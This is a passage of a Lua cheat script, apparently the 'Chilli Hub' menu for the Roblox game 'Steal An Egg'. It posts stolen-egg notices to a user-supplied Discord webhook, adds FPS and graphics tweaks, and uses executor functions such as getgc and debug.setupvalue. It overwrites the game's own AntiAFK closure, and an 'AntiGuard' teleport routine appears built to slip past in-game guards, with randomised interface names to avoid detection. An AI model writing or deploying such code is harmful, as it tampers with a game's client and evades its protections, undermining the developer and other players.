(n33 * n28 + math.min(n28 - 1, math.floor(i2 / n30))) * 4,
4
)
end
end
return fn39(v34, n31, n32)
end)
local pngs = tbl30.Pngs
ok = ok and type(result) == "string"
if not ok then
result = ok
end
result = result or false
pngs[arg] = result
local v32 = tbl30.Pngs[arg] or nil
return v32
end
local function fn41(arg, arg2)
if arg2 then
return 13686498
end
if typeof(arg) ~= "Color3" then
return 5793266
end
return math.floor(arg.R * 255 + 0.5) * 65536
+ math.floor(arg.G * 255 + 0.5) * 256
+ math.floor(arg.B * 255 + 0.5)
end
local function fn42(arg)
local tbl31 = {}
if type(arg) == "table" then
for _, v32 in ipairs(arg) do
local n28 = #tbl31 + 1
tbl31[n28] = fn10(v32)
end
end
local str5 = #tbl31 > 0 and table.concat(tbl31, ", ") or "None"
return str5
end
local function fn43(arg)
local areas = tbl.Areas
local directory = type(areas) == "table" and (areas.Directory or areas) or nil
local v32 = tostring
local str5 = arg or ""
local v33 = v32(str5)
local flag6 = type(directory) == "table" and v33 ~= "" and directory[v33] or nil
if type(flag6) == "table" then
local v34 = tostring
local displayName = flag6.DisplayName or v33
return v34(displayName)
end
local str6 = v33 ~= "" and v33 or "Field"
return str6
end
local function fn44(arg, arg2, arg3, arg4, arg5, arg6)
local str5 = tostring(arg2)
local v32 = tbl29.AssetInfo(str5)
local n28 = tonumber(arg3) or 1
local flag6 = type(arg4) == "table"
if not flag6 then
arg4 = flag6
end
arg4 = arg4 or {}
local v33 = tbl29.Income(v32, n28, arg4)
local dot = tbl30.Dot
local str6 = string.format("x%.2f", n28)
local eggRecords = tbl.EggRecords
if type(eggRecords) == "table" and type(eggRecords.WeightKgForScale) == "function" then
local ok, result = pcall(eggRecords.WeightKgForScale, str5, n28)
ok = ok and tonumber(result)
if ok then
str6 = str6 .. dot .. tbl29.FormatWeight(result)
end
end
local emoji = tbl30.Emoji
local tbl31 = {}
local str7 = "**" .. tostring(v32.Name) .. "**" .. dot .. tostring(v32.Rarity)
local str8 = emoji.Value .. " **Value:** $" .. tbl29.FormatRate(v33)
local str9 = emoji.Size .. " **Size:** " .. str6
local str10 = emoji.Mutation .. " **Mutation:** " .. fn42(arg4)
local str11 = emoji.Area .. " **Area:** " .. fn43(arg5)
tbl31[1] = str7
tbl31[2] = str8
tbl31[3] = str9
tbl31[4] = str10
tbl31[5] = str11
local tbl32 = {
author = { name = localPlayer.DisplayName, icon_url = fn37() },
title = arg,
description = table.concat(tbl31, "\n"),
color = fn41(v32.Color, string.upper(tostring(v32.Rarity)) == "SECRET"),
footer = { text = "Chilli Hub" .. dot .. "Steal An Egg", icon_url = tbl30.Logo },
timestamp = DateTime.now():ToIsoDate(),
}
local tbl33 = { username = "Chilli Hub", avatar_url = tbl30.Logo, embeds = { tbl32 } }
local icon = v32.Icon
if arg6 then
local directory = tbl.Assets and tbl.Assets.Directory
local flag7 = type(directory) == "table" and directory[str5] or nil
local egg = type(flag7) == "table" and type(flag7.Egg) == "table" and flag7.Egg
or nil
if egg and egg.Icon ~= nil then
icon = egg.Icon
end
end
local v34 = tonumber
local match = string.match
local v35 = tostring
icon = icon or ""
local v36 = v34(match(v35(icon), "(%d+)"))
local v37 = v36 and fn40(v36) or nil
local flag7 = v36 and not v37 and fn36(v36) or nil
if v37 then
tbl32.thumbnail = { url = "attachment://egg.png" }
tbl33.attachments = { { id = 0, filename = "egg.png" } }
elseif flag7 then
tbl32.thumbnail = { url = flag7 }
end
return tbl33, v37
end
local function fn45()
if tbl30.Sending then
return
end
tbl30.Sending = true
task.spawn(function()
while #tbl30.Queue > 0 and not tbl30.Disposed do
local v32 = table.remove(tbl30.Queue, 1)
if fn33(tbl30.Url) and type(request_) == "function" then
local tbl31 = { Url = tbl30.Url, Method = "POST" }
if v32.Png then
local str5 = "ChilliHub"
.. string.gsub(HttpService:GenerateGUID(false), "-", "")
tbl31.Headers =
{ ["Content-Type"] = "multipart/form-data; boundary=" .. str5 }
local concat = table.concat
local tbl32 = {}
local png = v32.Png
local json = HttpService:JSONEncode(v32.Payload)
tbl32[1] = "--"
tbl32[2] = str5
tbl32[3] = "\r\n"
tbl32[4] = 'Content-Disposition: form-data; name="payload_json"\r\n'
tbl32[5] = "Content-Type: application/json\r\n\r\n"
tbl32[6] = json
tbl32[7] = "\r\n"
tbl32[8] = "--"
tbl32[9] = str5
tbl32[10] = "\r\n"
tbl32[11] =
'Content-Disposition: form-data; name="files[0]"; filename="egg.png"\r\n'
tbl32[12] = "Content-Type: image/png\r\n\r\n"
tbl32[13] = png
tbl32[14] = "\r\n"
tbl32[15] = "--"
tbl32[16] = str5
tbl32[17] = "--\r\n"
tbl31.Body = concat(tbl32)
else
tbl31.Headers = { ["Content-Type"] = "application/json" }
tbl31.Body = HttpService:JSONEncode(v32.Payload)
end
local ok, result = pcall(request_, tbl31)
ok = ok and type(result) == "table"
ok = ok and tonumber(result.StatusCode)
ok = ok or nil
if ok == 429 and v32.Tries < 3 then
v32.Tries = v32.Tries + 1
table.insert(tbl30.Queue, 1, v32)
task.wait(3)
elseif ok ~= 200 and ok ~= 204 and v32.Png then
v32.Png = nil
v32.Payload.attachments = nil
local flag6 = type(v32.Payload.embeds) == "table"
and v32.Payload.embeds[1]
or nil
if flag6 then
flag6.thumbnail = nil
end
table.insert(tbl30.Queue, 1, v32)
end
end
task.wait(1.2)
end
tbl30.Sending = false
end)
end
local function fn46()
local flag6 = type(request_) == "function" and fn33(tbl30.Url)
return flag6
end
local function fn47(arg, arg2)
if #tbl30.Queue >= 20 then
table.remove(tbl30.Queue, 1)
end
if tbl30.PingEveryone and type(arg) == "table" then
arg.content = "@everyone"
arg.allowed_mentions = { parse = { "everyone" } }
end
table.insert(tbl30.Queue, { Payload = arg, Png = arg2, Tries = 0 })
fn45()
end
local eggState = tbl.EggState
local carryChanged = type(eggState) == "table" and eggState.CarryChanged or nil
if type(carryChanged) == "table" and type(carryChanged.Connect) == "function" then
local ok, result = pcall(carryChanged.Connect, carryChanged, function(arg)
if type(arg) ~= "table" then
return
end
if arg.IsCarrying then
local v32 = tbl30
local tbl31 =
{ Category = tostring(arg.AssetCategory), Uid = tostring(arg.Uid) }
local v33 = tostring
local areaId = arg.AreaId or "Field"
tbl31.Area = v33(areaId)
tbl31.EndedAt = nil
v32.Carry = tbl31
elseif tbl30.Carry then
tbl30.Carry.EndedAt = os.clock()
end
end)
if ok and result then
fn6(function()
pcall(function()
result:Disconnect()
end)
end)
end
end
fn6(function()
tbl30.Disposed = true
end)
task.spawn(function()
while not tbl30.Disposed do
local flag6 = type(eggState) == "table"
and type(eggState.ReadOwnerEggs) == "function"
local flag7 = false
local v32 = nil
if flag6 then
local ok, result = pcall(eggState.ReadOwnerEggs, localPlayer.UserId)
v32 = result
flag7 = ok
end
flag7 = flag7 and type(v32) == "table"
if flag7 then
local known = tbl30.Known
local tbl31 = {}
local tbl32 = {}
for k, v33 in pairs(v32) do
local str5 = tostring(k)
tbl32[str5] = true
if known and not known[str5] and type(v33) == "table" then
local n28 = #tbl31 + 1
tbl31[n28] = { Uid = str5, Record = v33 }
end
end
tbl30.Known = tbl32
local carry = tbl30.Carry
if tbl30.Stolen and carry and #tbl31 > 0 then
for _, v33 in ipairs(tbl31) do
local record = v33.Record
local flag8 = carry.EndedAt == nil
if not flag8 then
local endedAt = carry.EndedAt
flag8 = os.clock() - endedAt < 20
end
if flag8 then
flag8 = v33.Uid == carry.Uid
if not flag8 then
local category = carry.Category
flag8 = tostring(record.AssetCategory) == category
end
end
if flag8 then
tbl30.Carry = nil
local mutations = type(record.Mutations) == "table"
and record.Mutations
or {}
task.spawn(function()
if fn46() then
fn47(
fn44(
"Egg Stolen!",
record.AssetCategory,
record.AssetScale,
mutations,
carry.Area
)
)
end
end)
break
else
end
end
end
end
task.wait(1.5)
end
end)
local function fn48(arg)
local input = tbl30.Input
if type(input) ~= "table" then
return
end
for _, v32 in ipairs({ "Set", "SetValue" }) do
local ok, result = pcall(function()
return input[v32]
end)
ok = ok and type(result) == "function"
if ok and pcall(result, input, arg, false) then
return
end
end
end
tbl30.Input = v27:CreateInput({
Name = "Webhook URL",
Placeholder = "https://discord.com/api/webhooks/...",
Default = tbl30.Saved,
MaxLength = 256,
Callback = function(arg)
local gsub = string.gsub
local v32 = tostring
arg = arg or ""
local v33 = gsub(v32(arg), "%s", "")
local flag6 = v33 == "" and tbl30.Saved ~= ""
if flag6 then
local loadedAt = tbl30.LoadedAt
flag6 = os.clock() - loadedAt < 5
end
if flag6 then
tbl30.Url = tbl30.Saved
task.defer(fn48, tbl30.Saved)
return
end
tbl30.Url = v33
if
(v33 == "" or fn33(v33))
and v33 ~= tbl30.Saved
and type(writefile) == "function"
then
if pcall(writefile, tbl30.Path, v33) then
tbl30.Saved = v33
end
end
end,
})
end
v27:CreateToggle({
Name = "Ping @everyone",
Default = false,
Callback = function(arg)
tbl30.PingEveryone = arg == true
end,
})
v27:CreateToggle({
Name = "Notify Stolen Eggs",
Note = "Post every egg you bring home",
Default = false,
Callback = function(arg)
tbl30.Stolen = arg == true
end,
})
end
do
local v31
v31 = v2:CreateTab({ Name = "Misc", SectionsExpanded = true })
local v32
v32 = v31:CreateSection({ Name = "Performance", Expanded = true })
local flag6 = false
v32:CreateSlider({
Name = "FPS Cap",
Min = 30,
Max = 1000,
Default = 240,
AllowDecimals = false,
Increment = 1,
Unit = " FPS",
Callback = function(arg)
local clamp = math.clamp
local floor = math.floor
local n28 = tonumber(arg) or 240
local v33 = clamp(floor(n28), 30, 1000)
if type(setfpscap) == "function" and pcall(setfpscap, v33) then
flag6 = false
return
end
if not flag6 then
flag6 = true
fn32("FPS Cap Unavailable", "This environment does not support setfpscap.")
end
end,
})
do
local Lighting = game:GetService("Lighting")
local n28 = 0.003
local flag7 = false
local n29 = 0
local thread = nil
local tbl30 = {}
local tbl31 = {}
local obj = setmetatable({}, { __mode = "k" })
local tbl32 = {}
local connection = nil
local function fn33(arg, arg2, arg3)
local ok, result = pcall(arg)
if not ok then
return
end
local n30 = #tbl31 + 1
tbl31[n30] = { Setter = arg2, Value = result }
pcall(arg2, arg3)
end
local function fn34(arg, arg2, arg3)
local tbl33 = obj[arg]
if not tbl33 then
tbl33 = {}
obj[arg] = tbl33
end
if tbl33[arg2] == nil then
local ok, result = pcall(function()
return arg[arg2]
end)
if not ok then
return
end
tbl33[arg2] = { Value = result }
end
pcall(function()
arg[arg2] = arg3
end)
end
local function fn35(arg)
if not flag7 or not arg.Parent then
return
end
if arg:IsA("ParticleEmitter") then
fn34(arg, "Enabled", false)
fn34(arg, "Rate", 0)
elseif arg:IsA("Trail") or arg:IsA("Beam") then
fn34(arg, "Enabled", false)
elseif arg:IsA("PointLight") or arg:IsA("SpotLight") or arg:IsA("SurfaceLight") then
fn34(arg, "Enabled", false)
fn34(arg, "Brightness", 0)
elseif arg:IsA("Fire") or arg:IsA("Smoke") or arg:IsA("Sparkles") then
fn34(arg, "Enabled", false)
elseif arg:IsA("Explosion") then
fn34(arg, "Visible", false)
elseif arg:IsA("SpecialMesh") then
fn34(arg, "TextureId", "")
elseif arg:IsA("Decal") or arg:IsA("Texture") then
if not (arg.Name == "face" and arg.Parent and arg.Parent.Name == "Head") then
fn34(arg, "Transparency", 1)
end
elseif arg:IsA("MeshPart") then
fn34(arg, "RenderFidelity", Enum.RenderFidelity.Performance)
fn34(arg, "TextureID", "")
fn34(arg, "CastShadow", false)
fn34(arg, "Reflectance", 0)
fn34(arg, "Material", Enum.Material.SmoothPlastic)
elseif arg:IsA("BasePart") then
fn34(arg, "CastShadow", false)
fn34(arg, "Reflectance", 0)
fn34(arg, "Material", Enum.Material.SmoothPlastic)
elseif arg:IsA("PostEffect") then
fn34(arg, "Enabled", false)
elseif arg:IsA("Clouds") then
fn34(arg, "Cover", 0)
fn34(arg, "Density", 0)
elseif arg:IsA("Atmosphere") then
fn34(arg, "Density", 0)
fn34(arg, "Haze", 0)
fn34(arg, "Glare", 0)
end
end
local function fn36()
for _, v33 in ipairs(tbl30) do
if v33.Connected then
v33:Disconnect()
end
end
table.clear(tbl30)
if connection then
pcall(function()
connection:Disconnect()
end)
connection = nil
end
end
local function fn37()
local rendering = settings().Rendering
local terrain = workspace.Terrain
local function fn37(arg, arg2, arg3)
fn33(function()
return arg[arg2]
end, function(arg4)
arg[arg2] = arg4
end, arg3)
end
fn37(rendering, "QualityLevel", Enum.QualityLevel.Level01)
fn37(rendering, "MeshPartDetailLevel", Enum.MeshPartDetailLevel.Level01)
fn37(rendering, "EditQualityLevel", Enum.QualityLevel.Level01)
local ok, result = pcall(function()
local v33 = UserSettings()
return v33:GetService("UserGameSettings")
end)
if ok and result then
fn37(result, "SavedQualityLevel", Enum.SavedQualitySetting.QualityLevel1)
end
fn37(Lighting, "GlobalShadows", false)
fn37(Lighting, "ShadowSoftness", 0)
fn37(Lighting, "FogEnd", 9000000000)
fn37(Lighting, "Technology", Enum.Technology.Legacy)
fn37(Lighting, "EnvironmentDiffuseScale", 0)
fn37(Lighting, "EnvironmentSpecularScale", 0)
fn37(terrain, "Decoration", false)
fn37(terrain, "WaterWaveSize", 0)
fn37(terrain, "WaterWaveSpeed", 0)
fn37(terrain, "WaterReflectance", 0)
fn37(terrain, "WaterTransparency", 1)
end
local function fn38(arg, arg2)
local now = os.clock()
for _, descendant in ipairs(arg:GetDescendants()) do
if not flag7 or n29 ~= arg2 then
return false
end
fn35(descendant)
if os.clock() - now > n28 then
RunService.Heartbeat:Wait()
now = os.clock()
end
end
return true
end
local function fn39()
if not flag7 or #tbl32 == 0 then
return
end
local now = os.clock()
while 0 < #tbl32 do
fn35((table.remove(tbl32)))
if not (n28 < os.clock() - now) then
continue
end
break
end
end
local function fn40()
local now = os.clock()
for k, v33 in pairs(obj) do
if k.Parent then
for k2, v34 in pairs(v33) do
pcall(function()
k[k2] = v34.Value
end)
end
end
obj[k] = nil
if os.clock() - now > n28 then
RunService.Heartbeat:Wait()
now = os.clock()
end
end
end
local function fn41()
if not flag7 then
return
end
flag7 = false
n29 = n29 + 1
fn36()
table.clear(tbl32)
if thread then
pcall(task.cancel, thread)
thread = nil
end
fn40()
for i = #tbl31, 1, -1 do
local v33 = tbl31[i]
pcall(v33.Setter, v33.Value)
end
table.clear(tbl31)
end
local function fn42()
if flag7 then
return
end
flag7 = true
n29 = n29 + 1
local v33 = n29
fn37()
local function fn42(arg)
local n30 = #tbl30 + 1
tbl30[n30] = arg.DescendantAdded:Connect(function(arg2)
local flag8 = flag7
if flag7 then
flag8 = n29 == v33
end
if flag8 then
local n31 = #tbl32 + 1
tbl32[n31] = arg2
end
end)
end
fn42(workspace)
fn42(Lighting)
connection = RunService.Heartbeat:Connect(function()
local flag8 = flag7
if flag7 then
flag8 = n29 == v33
end
if flag8 then
fn39()
end
end)
thread = task.spawn(function()
if fn38(workspace, v33) then
fn38(Lighting, v33)
end
end)
end
fn6(fn41)
v32:CreateToggle({
Name = "Optimizer",
Note = "Strip shadows, textures and effects for the highest FPS",
Default = false,
Callback = function(arg)
if arg then
fn42()
else
task.spawn(fn41)
end
end,
})
end
local Stats
Stats = game:GetService("Stats")
local n28
n28 = 132
local n29
n29 = 0.085
local n30
n30 = 0.2
local n31
n31 = 8
local fn33, fn34
local v33 = v2:CreateState({ Name = "FPS and Ping Position", Default = {} })
fn33 = function()
local v34 = v33:Get()
if
type(v34) == "table"
and type(v34.XOffset) == "number"
and type(v34.YOffset) == "number"
then
local new = UDim2.new
local n32 = tonumber(v34.XScale) or 0
local xOffset = v34.XOffset
local n33 = tonumber(v34.YScale) or 0
return new(n32, xOffset, n33, v34.YOffset)
end
return UDim2.new(0, 16, 0, 16)
end
fn34 = function(arg)
v33:Set({
XScale = arg.X.Scale,
XOffset = arg.X.Offset,
YScale = arg.Y.Scale,
YOffset = arg.Y.Offset,
})
end
do
local color = Color3.fromRGB(58, 255, 55)
local color2 = Color3.fromRGB(255, 214, 84)
local color3 = Color3.fromRGB(255, 96, 96)
local color4 = Color3.fromRGB(150, 150, 158)
local flag7 = false
local tbl30 = {}
local screenGui = nil
local frame = nil
local uiScale = nil
local v34 = nil
local v35 = nil
local n32 = 1
local n33 = 0
local n34 = 0
local v36 = nil
local v37 = nil
local font = nil
pcall(function()
font = Font.new(
"rbxasset://fonts/families/GothamSSm.json",
Enum.FontWeight.ExtraBold,
Enum.FontStyle.Normal
)
end)
local function fn35(arg)
if 100 <= arg then
return color
end
if arg >= 50 then
return color2
end
return color3
end
local function fn36(arg)
if arg <= 90 then
return color
end
if arg <= 180 then
return color2
end
return color3
end
local function fn37()
if not uiScale then
return
end
local currentCamera = workspace.CurrentCamera
currentCamera = currentCamera and currentCamera.ViewportSize
if not currentCamera then
currentCamera = Vector2.new(1280, 720)
end
if currentCamera.X < 1 then
currentCamera = Vector2.new(1280, 720)
end
uiScale.Scale = math.clamp(currentCamera.X * n29 / n28, 0.7, 1.4) * n32
end
local function fn38()
for _, v38 in ipairs(tbl30) do
pcall(function()
v38:Disconnect()
end)
end
table.clear(tbl30)
if screenGui then
pcall(function()
screenGui:Destroy()
end)
end
screenGui = nil
frame = nil
uiScale = nil
v34 = nil
v35 = nil
v36 = nil
v37 = nil
n33 = 0
end
local function fn39(arg, arg2, arg3, arg4)
local textLabel = Instance.new("TextLabel")
textLabel.Name = fn5()
textLabel.BackgroundTransparency = 1
textLabel.Position = UDim2.fromOffset(arg2, 9)
textLabel.Size = UDim2.fromOffset(arg3, 16)
textLabel.Text = ""
textLabel.TextColor3 = arg4
textLabel.TextScaled = true
textLabel.TextXAlignment = Enum.TextXAlignment.Left
if font then
textLabel.FontFace = font
else
textLabel.Font = Enum.Font.GothamBold
end
textLabel.Parent = arg
return textLabel
end
local function fn40()
fn38()
screenGui = Instance.new("ScreenGui")
screenGui.Name = fn5()
screenGui.Archivable = false
screenGui.DisplayOrder = 58
screenGui.IgnoreGuiInset = true
screenGui.ResetOnSpawn = false
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
frame = Instance.new("Frame")
frame.Name = fn5()
frame.Active = true
frame.BackgroundColor3 = Color3.fromRGB(24, 24, 28)
frame.BackgroundTransparency = 0.28
frame.BorderSizePixel = 0
frame.Position = fn33()
frame.Size = UDim2.fromOffset(132, 34)
frame.Parent = screenGui
local uiCorner = Instance.new("UICorner")
uiCorner.Name = fn5()
uiCorner.CornerRadius = UDim.new(0, 12)
uiCorner.Parent = frame
local uiStroke = Instance.new("UIStroke")
uiStroke.Name = fn5()
uiStroke.Color = Color3.fromRGB(255, 255, 255)
uiStroke.Thickness = 1
uiStroke.Transparency = 0.9
uiStroke.Parent = frame
uiScale = Instance.new("UIScale")
uiScale.Name = fn5()
uiScale.Parent = frame
fn37()
v34 = fn39(frame, 12, 34, color)
fn39(frame, 48, 22, color4).Text = "FPS"
local frame2 = Instance.new("Frame")
frame2.Name = fn5()
frame2.AnchorPoint = Vector2.new(0.5, 0.5)
frame2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
frame2.BackgroundTransparency = 0.85
frame2.BorderSizePixel = 0
frame2.Position = UDim2.new(0, 74, 0.5, 0)
frame2.Size = UDim2.fromOffset(1, 14)
frame2.Parent = frame
v35 = fn39(frame, 82, 30, color)
fn39(frame, 113, 14, color4).Text = "ms"
screenGui.Parent = v3
local currentCamera = workspace.CurrentCamera
if currentCamera then
local n35 = #tbl30 + 1
tbl30[n35] = currentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(fn37)
end
local flag8 = false
local v38 = nil
local zero = Vector2.zero
local position = nil
local n35 = #tbl30 + 1
tbl30[n35] = frame.InputBegan:Connect(function(arg)
local flag9 = flag8
if not flag8 then
flag9 = arg.UserInputState ~= Enum.UserInputState.Begin
end
if flag9 then
return
end
local flag10 = arg.UserInputType == Enum.UserInputType.Touch
if not (arg.UserInputType == Enum.UserInputType.MouseButton1) and not flag10 then
return
end
flag8 = true
flag10 = flag10 and arg
local v39 = flag10 or nil
v38 = v39
zero = Vector2.new(arg.Position.X, arg.Position.Y)
position = frame.Position
end)
local n36 = #tbl30 + 1
tbl30[n36] = UserInputService.InputChanged:Connect(function(arg)
if not flag8 or not frame or not position then
return
end
local flag9 = v38
if v38 then
flag9 = arg == v38
end
flag9 = flag9 or not v38 and arg.UserInputType == Enum.UserInputType.MouseMovement
if not flag9 then
return
end
local n37 = Vector2.new(arg.Position.X, arg.Position.Y) - zero
frame.Position = UDim2.new(
position.X.Scale,
position.X.Offset + n37.X,
position.Y.Scale,
position.Y.Offset + n37.Y
)
end)
local n37 = #tbl30 + 1
tbl30[n37] = UserInputService.InputEnded:Connect(function(arg)
if not flag8 then
return
end
local flag9 = v38
if v38 then
flag9 = arg == v38
end
flag9 = flag9 or not v38 and arg.UserInputType == Enum.UserInputType.MouseButton1
if flag9 then
flag8 = false
v38 = nil
position = nil
if frame then
fn34(frame.Position)
end
end
end)
local n38 = #tbl30 + 1
tbl30[n38] = RunService.RenderStepped:Connect(function(arg)
if not flag7 or not v34 then
return
end
local n39 = math.clamp(arg, 0.001, 1)
local n40 = 1 / n39
if n33 <= 0 then
n33 = n40
else
n33 = n33 + (n40 - n33) * (1 - math.exp(-n39 * n31))
end
local now = os.clock()
if now < n34 then
return
end
n34 = now + n30
local n41 = math.floor(n33 + 0.5)
local str5 = tostring(n41)
if str5 ~= v36 then
v36 = str5
v34.Text = str5
v34.TextColor3 = fn35(n41)
end
local n42 = 0
pcall(function()
n42 = Stats.Network.ServerStatsItem["Data Ping"]:GetValue()
end)
local n43 = math.floor(n42 + 0.5)
local str6 = tostring(n43)
if str6 ~= v37 then
v37 = str6
v35.Text = str6
v35.TextColor3 = fn36(n43)
end
end)
end
v32:CreateSlider({
Name = "FPS and Ping Size",
Min = 60,
Max = 160,
Default = 100,
AllowDecimals = false,
Increment = 1,
Unit = "%",
SubOf = v32:CreateToggle({
Name = "FPS and Ping",
Default = true,
Callback = function(arg)
flag7 = arg == true
if flag7 then
fn40()
else
fn38()
end
end,
}),
Callback = function(arg)
local clamp = math.clamp
local n35 = tonumber(arg) or 100
n32 = clamp(n35 / 100, 0.6, 1.6)
fn37()
end,
})
fn6(fn38)
end
do
local v34 = v31:CreateSection({ Name = "Utility", Expanded = true })
local tbl30 = { Enabled = true, Alive = true, Silenced = {} }
local function fn35()
if type(getconnections) ~= "function" then
return {}
end
local ok, result = pcall(getconnections, localPlayer.Idled)
ok = ok and type(result) == "table"
local tbl31 = ok and result or {}
return tbl31
end
local function fn36()
for _, v35 in ipairs(fn35()) do
if pcall(function()
v35:Disable()
end) then
local n32 = #tbl30.Silenced + 1
tbl30.Silenced[n32] = v35
end
end
end
local function fn37()
local silenced = tbl30.Silenced
if #silenced == 0 then
silenced = fn35()
end
for _, v35 in ipairs(silenced) do
pcall(function()
v35:Enable()
end)
end
table.clear(tbl30.Silenced)
end
local obj = setmetatable({}, {
__index = function()
return function() end
end,
})
local tbl31 = {}
local function fn38()
local tbl32 = {}
if
type(getgc) ~= "function"
or type(debug) ~= "table"
or type(debug.getupvalues) ~= "function"
then
return tbl32
end
local ok, result = pcall(getgc, false)
local v35 = result
if not ok or type(v35) ~= "table" then
return tbl32
end
for _, v36 in ipairs(v35) do
if type(v36) == "function" and islclosure(v36) then
local ok2, result2 = pcall(debug.info, v36, "s")
ok2 = ok2 and type(result2) == "string"
ok2 = ok2 and string.find(result2, "AntiAFK", 1, true)
if ok2 then
local ok3, result3 = pcall(debug.getupvalues, v36)
local v37 = result3
if ok3 and type(v37) == "table" then
for k, v38 in pairs(v37) do
if
typeof(v38) == "Instance"
and v38.ClassName == "TeleportService"
then
local n32 = #tbl32 + 1
tbl32[n32] = { Fn = v36, Index = k, Original = v38 }
end
end
end
end
end
end
return tbl32
end
local function fn39()
for _, v35 in ipairs(fn38()) do
local ok, result = pcall(debug.getupvalue, v35.Fn, v35.Index)
ok = ok and typeof(result) == "Instance"
if ok then
if pcall(debug.setupvalue, v35.Fn, v35.Index, obj) then
local n32 = #tbl31 + 1
tbl31[n32] = v35
end
end
end
end
local function fn40()
for _, v35 in ipairs(tbl31) do
pcall(debug.setupvalue, v35.Fn, v35.Index, v35.Original)
end
table.clear(tbl31)
end
local function fn41()
fn36()
if #tbl31 == 0 then
fn39()
end
end
local connection = localPlayer.CharacterAdded:Connect(function()
task.delay(1, function()
if tbl30.Alive and tbl30.Enabled then
table.clear(tbl30.Silenced)
pcall(fn41)
end
end)
end)
fn6(function()
pcall(function()
connection:Disconnect()
end)
end)
fn6(function()
tbl30.Alive = false
fn37()
fn40()
end)
task.spawn(function()
while tbl30.Alive do
if tbl30.Enabled then
fn41()
end
task.wait(600)
end
end)
v34:CreateToggle({
Name = "Anti AFK",
Default = true,
Callback = function(arg)
tbl30.Enabled = arg ~= false
if tbl30.Enabled then
fn41()
else
fn37()
fn40()
end
end,
})
end
end
local antiGuard, tbl30
do
local tbl31, tbl32, tbl33, flag6, tbl34, tbl35, ScreenGui
local TweenService2 = game:GetService("TweenService")
local GuiService = game:GetService("GuiService")
local StarterGui = game:GetService("StarterGui")
antiGuard = tbl4.AntiGuard
tbl30 = {
Target = "line",
LineOffset = 8,
Height = 45,
OffsetX = -90,
OffsetZ = -35,
Jitter = 0,
Point = false,
Disguise = true,
Limp = true,
Facing = "Zero",
Freeze = false,
StartAt = 0,
Steps = {
{ At = 0.1, To = "home" },
{ At = 0.33, To = "home" },
{ At = 0.56, To = "home" },
{ At = 0.75, To = "start" },
},
ReleaseAt = 0.8,
WeldScanGap = 0.03,
BusyLimit = 2.5,
}
local function fn33(arg, arg2, arg3, arg4, arg5, arg6)
local tbl36 = {}
for i = 1, arg do
local n28 = #tbl36 + 1
tbl36[n28] = { At = arg2 + arg3 * (i - 1), To = "home" }
end
local n28 = #tbl36 + 1
tbl36[n28] = { At = arg4, To = "start" }
return {
Target = "home",
LineOffset = 8,
Height = 0,
OffsetX = 0,
OffsetZ = 0,
Jitter = 0,
Point = false,
Disguise = true,
Limp = false,
Facing = "Zero",
Freeze = true,
StartAt = 0,
StartRandom = 0,
HopRandom = 0.085,
HoldRandom = 0.395,
Steps = tbl36,
ReleaseAt = arg5,
WeldScanGap = 0.03,
BusyLimit = arg6,
}
end
tbl31 = { LightDark = tbl30, Default = fn33(25, 0, 0.05, 1.27, 1.52, 2.5) }
pcall(function()
getgenv().ChilliAntiGuard = tbl31
end)
tbl32 = {
Card = Color3.fromRGB(15, 15, 19),
CardTop = Color3.fromRGB(24, 22, 28),
Stroke = Color3.fromRGB(48, 46, 56),
Text = Color3.fromRGB(240, 238, 244),
AccentA = Color3.fromRGB(255, 72, 72),
AccentB = Color3.fromRGB(255, 150, 60),
Good = Color3.fromRGB(80, 220, 140),
Work = Color3.fromRGB(255, 190, 70),
Bad = Color3.fromRGB(240, 90, 90),
Off = Color3.fromRGB(58, 56, 66),
}
tbl33 = {
{
Path = { "GearGiver_Slap", "Podium" },
Offset = Vector3.new(-16.415000915527344, 21.07200050354004, -6.105999946594238),
},
{
Path = { "World", "Machines", "RiftMachine", "Rift", "Meshes/VoidPortal_Cube.003" },
Offset = Vector3.new(-26.775999069213867, 1.75, 18.665000915527344),
},
{
Path = { "__OBJECTS", "Machines", "RiftMachine", "Rift", "Meshes/VoidPortal_Cube.003" },
Offset = Vector3.new(-26.775999069213867, 1.75, 18.665000915527344),
},
}
local n28 = 52
flag6 = true
tbl34 = {}
tbl35 = {
AreaId = nil,
SignalCarrying = false,
WeldCarrying = false,
Carrying = false,
Active = false,
Disguise = nil,
FlashRequest = nil,
FlashUntil = 0,
}
local function fn34()
local tbl36 = {}
for i = 1, math.random(10, 16) do
tbl36[i] = string.char(math.random(97, 122))
end
return table.concat(tbl36)
end
local hui = nil
pcall(function()
hui = gethui()
end)
hui = hui or CoreGui
local function fn35(arg, arg2, arg3)
local instance = Instance.new(arg)
instance.Name = fn34()
local v31 = pairs
local tbl36 = arg3 or {}
for k, v32 in v31(tbl36) do
instance[k] = v32
end
instance.Parent = arg2
return instance
end
local function fn36(arg, arg2, arg3, arg4)
local ok, result = pcall(function()
local v31 = TweenService2
local create = v31.Create
local new = TweenInfo.new
local v32 = arg4
local quint
if arg4 then
quint = v32
else
quint = Enum.EasingStyle.Quint
end
return create(v31, arg, new(arg2, quint, Enum.EasingDirection.Out), arg3)
end)
local v31 = result
if ok and v31 then
v31:Play()
end
end
ScreenGui = fn35("ScreenGui", nil, {
ResetOnSpawn = false,
IgnoreGuiInset = true,
DisplayOrder = -100,
ZIndexBehavior = Enum.ZIndexBehavior.Sibling,
})
local Frame = fn35("Frame", ScreenGui, {
AnchorPoint = Vector2.new(0.5, 0.5),
Position = UDim2.new(0.5, 0, 1, -120),
Size = UDim2.fromOffset(226, 52),
BackgroundTransparency = 1,
})
local UIScale = fn35("UIScale", Frame, { Scale = 1 })
local Frame2 = fn35(
"Frame",
Frame,
{
Size = UDim2.fromScale(1, 1),
BackgroundColor3 = tbl32.Card,
BorderSizePixel = 0,
Active = true,
}
)
fn35("UICorner", Frame2, { CornerRadius = UDim.new(0, 14) })
local UIScale2 = fn35("UIScale", Frame2, { Scale = 0.86 })
fn35(
"UIGradient",
Frame2,
{ Color = ColorSequence.new(tbl32.CardTop, tbl32.Card), Rotation = 90 }
)
local UIStroke = fn35("UIStroke", Frame2, {
Thickness = 1.5,
Color = Color3.fromRGB(255, 255, 255),
Transparency = 0.2,
ApplyStrokeMode = Enum.ApplyStrokeMode.Border,
})
local UIGradient =
fn35("UIGradient", UIStroke, { Color = ColorSequence.new(tbl32.Stroke, tbl32.Stroke) })
local Frame3 = fn35("Frame", Frame2, {
AnchorPoint = Vector2.new(0, 0.5),
Position = UDim2.new(0, 10, 0.5, 0),
Size = UDim2.fromOffset(36, 36),
